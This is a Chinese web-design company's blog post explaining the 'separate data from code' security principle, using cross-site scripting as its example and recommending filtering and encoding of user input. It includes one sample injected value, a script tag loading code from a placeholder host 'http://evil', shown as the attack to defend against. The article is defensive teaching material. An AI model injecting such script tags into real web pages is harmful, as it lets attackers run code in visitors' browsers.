十年专注于品牌网站建设 十年专注于品牌网站建设,低调、有情怀的网络应用服务商!
南昌百恒网络微信公众号 扫一扫关注
小程序
tel-icon全国服务热线:400-680-9298,0791-88117053
扫一扫关注百恒网络微信公众号
扫一扫打开百恒网络微信小程序

百恒网络

南昌百恒网络

网站建设中数据与代码分离原则实施办法

百恒网络 2016-11-29 638

在网站建设过程中,数据与代码的分离是安全措施中很重要的规划,不仅是后续的维护方便,另一个重要的安全原则是数据与代码分离原则,虽然前面我通过《网站安全纵深防御原则的实施方法》也介绍了不少原则性的防范措施,但南昌网站设计公司百恒网络安全工程师认为数据与代码分离这一原则广泛适用于各种由于“注入”而 引发安全问题的场景。 
       实际上,缓冲区溢出,也可以认为是程序违背了这一原则的后果——程序在栈或者堆中, 将用户数据当做代码执行,混淆了代码与数据的边界,从而导致安全问题的发生。 
       在 Web 安全中,由“注入”引起的问题比比皆是,如 XSS、SQL Injection、CRLF Injection、 X-Path Injection 等。此类问题均可以根据“数据与代码分离原则”设计出真正安全的解决方案, 因为这个原则抓住了漏洞形成的本质原因。 
       以 XSS 为例,它产生的原因是 HTML Injection 或 JavaScript Injection,如果一个页面的代 码如下: 
       <html> 
              <head>test</head>
               <body> $var </body>
        </html> 
       其中 $var 是用户能够控制的变量,那么对于这段代码来说: 
       <html> 
             <head>test</head> 
             <body> 
             </body>
        </html>
      就是程序的代码执行段。 
       而 
       $var
        就是程序的用户数据片段。 
       如果把用户数据片段 $var 当成代码片段来解释、执行,就会引发安全问题。 
       比如,当$var 的值是: 
       <script src=http://evil></script> 
       时,用户数据就被注入到代码片段中。解析这段脚本并执行的过程,是由浏览器来完成的—— 浏览器将用户数据里的<script>标签当做代码来解释——这显然不是程序开发者的本意。 
       根据数据与代码分离原则,在这里应该对用户数据片段 $var 进行安全处理,可以使用过 滤、编码等手段,把可能造成代码混淆的用户数据清理掉,具体到这个案例中,就是针对 <、> 等符号做处理。 
       有的朋友可能会问了:我这里就是要执行一个<script>标签,要弹出一段文字,比如:“你 好!”,那怎么办呢? 
       在这种情况下,数据与代码的情况就发生了变化,根据数据与代码分离原则,我们就应该 重写代码片段: <html> <head>test</head> <body> <script> alert("$var1"); </script> </body> </html> 在这种情况下,<script>标签也变成了代码片段的一部分,用户数据只有 $var1 能够控制, 从而杜绝了安全问题的发生。 
       南昌网站制作公司百恒网络安全工程师认为对于安全世界的认识和思考,从互联网安全的发展史说起,揭示了安全问 题的本质,以及应该如何展开安全工作,也介绍设计安全方案的几种思路和原则。将继续揭示 Web 安全的方方面面,并深入理解攻击原理和正确的解决之道——我们 会面对各种各样的攻击,解决方案为什么要这样设计,为什么这最合适?这一切的出发点,都 可以在本章中找到本质的原因。 
       安全是一门朴素的学问,也是一种平衡的艺术。无论是传统安全,还是互联网安全,其内 在的原理都是一样的。我们只需抓住安全问题的本质,之后无论遇到任何安全问题(不仅仅局 限于 Web 安全或互联网安全),都会无往而不利,因为我们已经真正地懂得了如何用安全的眼 光来看待这个世界!
  本文仅限内部技术人员学习交流,不得作于其他商业用途.希望此文对广技人员有所帮助。原创文章出自:南昌网站建设公司-百恒网络http://www.jxbh.cn/如转载请注明出处!

400-680-9298,0791-88117053
扫一扫关注百恒网络微信公众号
扫一扫打开百恒网络小程序

欢迎您的光顾,我们将竭诚为您服务×

售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售前咨询 售前咨询
 
售后服务 售后服务
 
售后服务 售后服务
 
备案专线 备案专线
 
×